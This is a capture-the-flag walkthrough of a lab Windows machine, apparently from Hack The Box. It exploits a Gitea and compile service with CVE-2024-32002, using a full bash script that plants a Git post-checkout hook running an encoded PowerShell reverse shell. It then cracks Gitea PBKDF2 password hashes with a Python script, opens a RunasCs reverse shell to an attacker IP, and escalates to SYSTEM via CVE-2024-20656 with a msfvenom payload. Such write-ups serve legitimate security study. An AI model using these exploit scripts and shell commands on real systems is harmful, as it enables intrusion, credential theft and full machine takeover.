Recon

Nmap

We have only port 3000 & 5000 open for this machine:

PORT     STATE SERVICE VERSION
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-arc-green">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Git</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     X-Frame-Options: SAMEORIGIN
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5234
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

Port 3000 | Gitea

On port 3000 we have a Gitea repository storing 2 projects owned by Richard we can visit:

The "Compiled" project introduces a one-stop solution for compiling C++, C#, and .NET projects, which allows us to input GitHub repository URLs and get projects compiled effortlessly on http://localhost:5000 (if hosting locally).

There's a simple Flask application app.py inside:

from flask import Flask, request, render_template, redirect, url_for
import os

app = Flask(__name__)

# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'

@app.route('/', methods=['GET', 'POST'])
def index():
    error = None
    success = None
    if request.method == 'POST':
        repo_url = request.form['repo_url']
        if # Add a sanitization to check for valid Git repository URLs.
            with open(REPO_FILE_PATH, 'a') as f:
                f.write(repo_url + '\n')
            success = 'Your git repository is being cloned for compilation.'
        else:
            error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
    return render_template('index.html', error=error, success=success)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
  • If a POST request is detected, the code fetches the 'repo_url' from the form data.
  • The script misses the if conduction part for sanitizing our input URL. The comment suggests that the URL should start with "http://" and end with ".git".

Another project is called "Calculator", which is simple calculator program written in C++. The program performs basic arithmetic operations such as addition, subtraction, multiplication, and division based on user input.

We don't care how the dummy calculator works. But the repository has code explanation for the script, implying us to have Git installed first on a Windows machine:

It's leaking the Git version installed on the target machine—2.45.0, which is subjected to a critical vulnerability CVE-2024-32002.

Port 5000 | Compiled

It's that "Compiled" project introduced in Gitea repository, hosting on http://compiled.htb:5000. We can input a URL to compile C++, C# & .NET projects online, which is similar to an old HTB machine suffered from the same RCE vulnerability:

CVE-2024-32002 | Richard

The recon information has a very clear implication, that we can provide a Git URL (starting with "http://" and ending with ".git") for http://ip:5000, which will then running Git locally on the target Windows machine to retrieve the resources like the leaked information in the code explanation:

git clone --recursive http://gitea.compiled.htb:3000/richard/Calculator.git

The Compiled program will then compile it at the backend, responding an executable for us.

Besides, with the leaked Git version 2.45.0 installed on the Windows machine, we can test it with CVE-2024-32002 leading to RCE. The exploitation occurs when the victim clones a malicious repository recursively, which would execute hooks contained in the submodules. The vulnerability lies in the way Git handles symbolic links in repository submodules.

Git Submodule Hook

There are many public POC on the Internet for this vulnerability. As long as we figure out how the CVE works (which is the purpose of this writeup), we can manage to exploit the target in different ways. Here's a link for detailed analysis on the vulnerability, and a simplified directory structure of a main Git repository (MainRepo) with a single submodule (Submodule1) I created:

/MainRepo
|-- .git/
|-- .gitmodules
|-- README.md
|-- /Submodule1
    |-- .git/ (link to the submodule's repository)
    |-- malicious_hook.sh

The .gitmodules file within the main repository contains metadata about the submodules, that it might look like:

[submodule "Submodule1"]
    path = Submodule1
    url = https://example.com/Submodule1.git

Overall, the root of the bug lies in case-insensitive filesystems treating paths like A/modules/x and a/modules/x as identical, which allows us to craft a malicious symlink within the submodule. We can name this symlink with a case variation of the submodule’s path (e.g., A/modules/x), but pointing it to the submodule’s hidden .git/ directory.

When a victim clones the malicious repository, Git creates a directory for the submodule (e.g., A/modules/x). However, the case-insensitive nature of the filesystem might cause Git to mistakenly see the symlink (a/modules/x) as a valid alternative and replace the newly created directory with it. This causes a dangerous consequence: it exposes the hidden .git/ directory to git’s execution context.

The exposed .git/ directory can contain hooks—namely the scripts that are automatically executed during various Git operations. The attacker’s malicious hook, now lurking in plain sight, is triggered by Git’s normal operations. This hook is where we can inject our RCE code.

Let me depict a simplified diagram to summarize the concept:

[ Main Repository: MainRepo ]
   |
   |-- .gitmodules (lists Submodule1)
   |
   |-- [ Submodule: Submodule1 ]
       |-- [ Symlink: a/modules/x ] --> Points to [ .git/ ] of Submodule1
       |-- [ Target Directory: A/modules/x ] (Intended to be a regular directory, but replaced by symlink due to case-insensitivity)
       |-- [ Hidden Directory: .git/ ]
           |-- [ Malicious Hook Script ]
  • [ Main Repository: MainRepo ]: The central repository cloned by the victim.
  • [ Submodule: Submodule1 ]
    • Contains a critical symbolic link that exploits filesystem case-insensitivity.
    • [ Symlink: a/modules/x ]: Crafted to misuse the case-insensitivity, linking to the .git/ directory which contains executable hooks.
    • [ Target Directory: A/modules/x ]: Normally intended to be a directory for submodule files, but due to the symlink trick, it becomes a link to the .git/ directory.
    • [ Hidden Directory: .git/ ]: Contains the Git configuration and hook scripts that can now be maliciously triggered due to the symlink redirecting operations to this directory.

A POC script can be found on Github.

Exploit

Register a new Gitea account (which we can on http://gitea.compiled.htb:3000) and select New Repository to create 2 new hook repositories "hook" & "captain":

Then set up a Git repository that includes submodules. The key to exploiting this CVE is to craft submodules that contain malicious hooks.

Hooks are scripts in Git that run on certain actions. In this case, post-checkout or post-merge hooks within submodules could be used.

We can modify the POC after setting up the malicious repository on Gitea:

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# to avoid the warning message
git config --global init.defaultBranch main 


# Pre-created remote Gitea hook repository
hook_repo_path="http://gitea.compiled.htb:3000/axura/hook.git"

# Initialize the hook repository
git clone "$hook_repo_path"
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8 ...
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout

# Push the changes back to the Gitea repository
git commit -m "post-checkout"
git push

# Leave hook repo
cd ..

# Pre-created remote Gitea captain repository
captain_repo_path="http://gitea.compiled.htb:3000/axura/captain.git"

# Initialize the captain repository & add submodule pointing to hook
git clone "$captain_repo_path"
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info

# Commit and push the changes back to the Gitea repository
git commit -m "add-symlink"
git push

# Leave captain repo
cd ..
  • We can register an account on Gitea remotely to create malicious repositories, so we can save our time rather than configuring account information on our kali machine.
  • We need two repositories to complete the attack, namely the hook and captain in the POC. Since we choose not to push repositories from local machine, we need to prepare them on the Gitea web application. Then we can use git clone to download the Git files and complete those push updates.

Explain

Run the shell script and provide our account credentials in the prompt, we will create and push the malicious repo's on Gitea for the target to access later:

And we are free to verify the result on Gitea, that there're not many interesting things in the hook repo:

But we can check the captain repo where we created a submodule for it:

Look into that A/modules/x file path, we will discover it was the directory before module:

But if we look at that x, which is a symlink recognized by the symbol:

It points back to the post-checkout script in hook repo which contains the malicious commands:

As we mentioned that we can check the metadata of the submodule with the .gitmodules file:

  • We created a submodule named "x/y", as a label used to identify the submodule in the configuration.
  • path = A/modules/x specifies the path within the main repository where the submodule will be checked out, that our submodule will be located in the A/modules/x directory.
  • url = http://gitea.compiled.htb:3000/axura/hook.git indicates the URL for the submodule. The submodule will be cloned from this URL.

And a symlink named a inside the captain directory, pointing to .git:

Let me clear out what we have done so far:

[ Repository: hook ]
   |
   |-- [ Directory: y ]
       |-- [ Directory: hook ] 
       	   |-- [ Malicious Hook Script ]

[ Repository: captain ]
   |
   |-- .gitmodules (Submodule: x/y)
   |
   |-- [ Submodule: x/y ]
       |-- [ Target Directory: A/modules/x ] 
       |-- [ Metadata file: .gitmodules ] 
       |-- [ Symlink: a ] --> Points to [ .git/ ] of Submodule
       |-- [ Hidden Directory: .git/ ]
           |-- [ Directory: modules ] 
               |-- [ submodule label: x/y ] 
                   |-- [ Hook Scripts ] 

The Target Directory path A/module/x for the submodule x/y is intended to be a regular directory, but the first hierarchy A will be replaced by the symlink a due to the case-insensitivity file system (Windows). Because the metadata file .gitmodules tells it to go for A/module/x, but instead it ends up with a/modules/x. And we made a point to .git in our script, so it will finally go for .git/modules/ that contains the x/y submodule we constructed:

The x is pointing back our hook repo—That's why we make the names ../x, y/.., x/y. And we just modified the post-chekcout hook script containing the malicious payloads, which will then be executed when the victim runs git clone --recursive, resulting in RCE.

Trigger RCE

Now, if we want to trigger the RCE through the malicious hook commands, we can just let the victim clone the "captain" repo like this:

git clone --recursive http://gitea.compiled.htb:3000/axura/captain.git

In our case, we don't need to phish anyone to clone our repo. Because when we provide the repo URL http://gitea.compiled.htb:3000/axura/captain.git to port 5000, it automatically runs and clones the captain repo. Therefore, set up the listener which we defined in the reverse shell payload, then feed the URL to the compilation program:

Wait for a few seconds, we have a reverse shell as user Richard:

MSF:

PBKDF2 | Emily

No AV, run Winpeas.exe, we know our next target will be user Emily, and Richard is likely a web admin for the Gitea server:

Slip into "C:\Program Files\Gitea" to do some enumeration, we can find a database file under the "\data" folder:

Download and read it locally, there're hashes for all Gitea users stored under the "user" table:

From the provided data, each hash string follows the format:

[pbkdf2][number of iterations][key_length]

The format in our case pbkdf2$50000$50 tells us that the PBKDF2 algorithm with 50,000 iterations was used. The $50 is the length of the hash output in bytes, not the salt. PBKDF2 is a simple cryptographic key derivation function, which is resistant to dictionary attacks and rainbow table attacks.

We can refer to this thread using Hashcat to crack PBKDF2-HMAC-SHA256 (-m 10900). Format the string as follows:

sha256:<iterations>:<base64_salt>:<base64_hash>
  • Use : as separator.
  • Base64 encode the salt and password before cracking.

However, it turns out it takes too long to crack the hashes, for a CTF. So I decided to study deeper for the PBKDF2 encryption on Crytobook.

Except the hash, salt, iterations-count we got, we also have the derived-key-len as 50 from the database. The PBKDF2 calculation function takes several input parameters: hash function for the HMAC, the password (bytes sequence), the salt (bytes sequence), iterations count and the output key length (number of bytes for the derived key):

key = pbkdf2(password, salt, iterations-count, hash-function, derived-key-len)
  • password: Array of bytes / string for the plain-text password.
  • salt: Securely-generated random bytes (minimum 64 bits, 128 bits is recommended)
  • iterations-count: e.g. 1024 iterations
  • hash-function: For calculating HMAC, e.g. SHA256
  • derived-key-len: For the output, e.g. 32 bytes (256 bits). The output data is the derived key of requested length (e.g. 256 bits).

Since I did not find a way to provide the derive_key_len parameter for Hashcat, we can write a python script using hashlib library to crack the password faster, referring to the PBKDF2 python template introduced in Crytobook:

import hashlib
import binascii
from pwn import log


# Parameters from gitea.db
salt  = binascii.unhexlify('227d873cca89103cd83a▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒')  # 16 bytes
key   = '97907280dc24fe517c43475bd218bfad56c25d4d11037d▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒' 
dklen = 50
iterations = 50000


def hash(password, salt, iterations, dklen):
    hashValue = hashlib.pbkdf2_hmac(
        hash_name='sha256', 
        password=password, 
        salt=salt, 
        iterations=iterations, 
        dklen=dklen,
        )
    return hashValue


# Crack
dict = '/usr/share/wordlists/rockyou.txt'
bar  = log.progress('Cracking PBKDF2')

with open(dict, 'r', encoding='utf-8') as f:
    for line in f:
        password  = line.strip().encode('utf-8') 
        hashValue = hash(password, salt, iterations, dklen)
        target    = binascii.unhexlify(key)
        # log.info(f'Our target is: {target}')
        bar.status(f'Trying: {password}, hash: {hashValue}')
        if hashValue == target:
            bar.success(f'Found password: {password}!')
            break
        
    bar.failure('Hash is not crackable.')

The hash of Administrator is uncrackable, but Emily's will be cracked in one second:

With the cracked password of Emily, we can run Evil-winrm or use RunAsCs to lateral to another account:

.\RunasCs.exe emily 1▒▒▒▒▒▒▒▒▒▒▒ powershell.exe -r 10.10.16.3:4446

And take the user flag:

CVE-2024-20656 | SYSTEM

When we ran Winpeas, I noticed that the machine is installed with Visual Studio, just like the cover image implies.

VS configures NFS Exports Files, which pertains to the configuration and permission settings related to the Network File System (NFS) on Windows systems. NFS is a protocol that allows us to access files over a network in a manner similar to how we access local storage, and it's commonly used to share files between UNIX/Linux and Windows systems.

This means it would have a great chance to lead to unauthorized access or privilege escalation. This reminds us of the CVE-2024-20656 which is a local privilege escalation vulnerability found in the VSStandardCollectorService150 service of Microsoft Visual Studio. It allows an attacker to escalate privileges on a Windows system due to the way the service handles file operations and directory permissions. Detailed report can be referred to this article written by Filip Dragovic.

The vulnerability arises because the VSStandardCollectorService150 service, which is part of the Visual Studio diagnostics tools, creates directories and files within the "C:\Windows\Temp" directory with insufficiently restrictive permissions. Specifically, when a diagnostic session is started, the service creates directories and files in a user-specified location (/scratchLocation), and these files are initially created with default restrictive permissions but later moved and have their Discretionary Access Control Lists (DACLs) reset in a less restrictive manner—to redirect permission changes to arbitrary files on the system.

There's an exploit script on Github, that we don't have to construct such a complicate attack chain by ourselves. But we need to make certain modification on the project, rewriting parts of the script and then compile it to an executable.

Therefore, it's important to get the exploitation process clear:

  1. Diagnostic Session Creation: Attacker initiates a diagnostic session using the VSDiagnostics.exe tool with the start command, specifying a scratch location (/scratchLocation) that the attacker controls.
  2. Junction Point Attack: Attacker creates a junction point in the specified scratch location, redirecting it to another directory we control. This allows the attacker to manipulate where files are moved and how their permissions are set.
  3. DACL Reset Manipulation: The service then resets the DACLs on the files in the directory pointed to by the junction, which can include directories like C:\ProgramData. This DACL reset can be exploited to grant the attacker full control over critical files or directories.
  4. Privilege Escalation: By redirecting the file operations and DACL resets to critical system files or directories, the attacker can gain elevated privileges. For example, they can change the permissions on system DLL files and load them into privileged services, thereby executing code with higher privileges.

Thus, after opening Expl.sln with Visual Studio on our machine, we need to modify two parts of the POC. First, the cmd variable in main.cpp should be set to the path of VSDiagnostics.exe (It was VS 2022 in the POC, while our target has an older version 2019 installed):

Second, Modify the cb1 Function. The cb1 function is responsible for copying a file once the file move operation is successful. We can modify this function to copy our reverse shell executable instead of the original cmd.exe:

Of course then we need to prepare our reverse shell trojan in this specific directory. Use msfvenom to generate a reverse shell payload and upload it to the target folder.

Finally, compile/build the modified main.cpp file with release mode to create the exploit executable:

Run the compiled Expl.exe as any lower-privileged user, we will have a session as NT AUTHORITY\SYSTEM:

Take root flag:

Hashdump:


Are you watching me?